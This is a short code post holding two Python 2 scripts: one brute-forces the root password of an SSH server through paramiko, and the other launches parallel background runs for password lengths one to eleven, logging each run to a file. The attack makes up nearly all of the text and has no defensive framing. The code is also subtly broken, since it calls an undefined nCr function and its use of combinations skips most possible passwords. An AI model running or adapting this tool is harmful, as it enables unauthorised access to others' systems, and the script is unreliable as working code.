Bruteforcing over paramiko

bruteforce.py

import string
import paramiko
from itertools import combinations
import sys

server_ip = "" #put ip of the user here
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

charset = string.printable[:36]


def writeCombinations(size):
    n = len(charset)
    password_size = nCr(n, size)
    print "Generating:", password_size
    all_combinations = combinations(charset, size)
    for p in combinations(charset, size):
        password = "".join(p)
        yield password
    

for password in writeCombinations(int(sys.argv[-1])):
    print "trying:", password ,
    try:
        ssh.connect(server_ip, username='root', password=password)
        stdin, stdout, stderr = ssh.exec_command('uname -a')
        print "is success"
        for line in stdout.readlines():
            print line
        break
    except paramiko.ssh_exception.AuthenticationException:
        print "is failed"
    except KeyboardInterrupt:
        pass
    except:
        pass
    

load_bruteforce.py

import os

size = 12

# attack with different sizes :)
for i in range(1,size):
	os.system("python -u bruteforce.py %s > ./flog-%s.txt &" % (str(i), str(i)))